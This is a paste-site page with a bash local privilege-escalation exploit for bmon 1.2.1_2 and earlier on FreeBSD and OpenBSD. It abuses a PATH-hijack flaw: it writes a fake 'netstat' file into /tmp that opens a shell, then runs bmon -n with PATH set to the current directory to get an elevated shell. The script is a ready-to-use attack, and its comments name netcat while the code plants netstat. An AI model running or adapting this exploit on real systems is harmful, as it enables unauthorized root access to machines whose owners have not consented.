SHOW:
|
|
- or go back to the newest paste.
| 1 | ================================= | |
| 2 | BSD bmon <= 1.2.1_2 Local Exploit | |
| 3 | ================================= | |
| 4 | ||
| 5 | #!/usr/local/bin/bash | |
| 6 | ||
| 7 | # Written by Idan Nahoum. [email protected] | |
| 8 | # local exploit for FreeBSD/OpenBSD with bmon < 1.2.1_2 installed. | |
| 9 | # when bmon is executed with the -n parameter it popen()s netcat | |
| 10 | # but fail to provide an absoluth path. | |
| 11 | # some bsds are configured with acls that doesnt allow setuid files to | |
| 12 | # run except those that are explicity allowed, so creating a file called | |
| 13 | # netcat that chmod's +s bash wouldnt work, bash needs to run directly by | |
| 14 | # bmon which uses ncurses, so to get a useable shell we need to redirect | |
| 15 | # stdout to stderr (stdout is closed), and restore the stty settings. | |
| 16 | # http://www.vuxml.org/freebsd/938f357c-16dd-11d9-bc4a-000c41e2cdad.html | |
| 17 | ||
| 18 | declare -r SPATH="${PATH}"
| |
| 19 | declare -r STTY_EXEC=$(which stty) | |
| 20 | declare -r STTY_SETTINGS=$(${STTY_EXEC} -g)
| |
| 21 | declare -r QSHELL="/usr/local/bin/bash" | |
| 22 | declare BMON_EXEC="/usr/local/sbin/bmon" | |
| 23 | ||
| 24 | echo "$0 <path to bmon> [default: ${BMON_EXEC}]"
| |
| 25 | ||
| 26 | [ "$#" -gt "0" ] && BMON_EXEC="${1}"
| |
| 27 | ||
| 28 | [ -x "${BMON_EXEC}" ] ||
| |
| 29 | {
| |
| 30 | echo "${BMON_EXEC} not found"
| |
| 31 | exit | |
| 32 | } | |
| 33 | ||
| 34 | cd /tmp | |
| 35 | ||
| 36 | # apparently bmon closes stdout, so we run a shell with stdout redirected | |
| 37 | # to stderr. | |
| 38 | ||
| 39 | cat > ./netstat <<EOF | |
| 40 | ${STTY_EXEC} ${STTY_SETTINGS}
| |
| 41 | PATH=${SPATH} /bin/sh 1>&2
| |
| 42 | EOF | |
| 43 | ||
| 44 | /bin/chmod 755 ./netstat | |
| 45 | echo "trying to exploit" | |
| 46 | PATH=./ "${BMON_EXEC}" -n
| |
| 47 | ||
| 48 | ||
| 49 | ||
| 50 | # A5CEACD18E22AD16 1337day.com [2014-09-08] A6C3020D1640652C # |
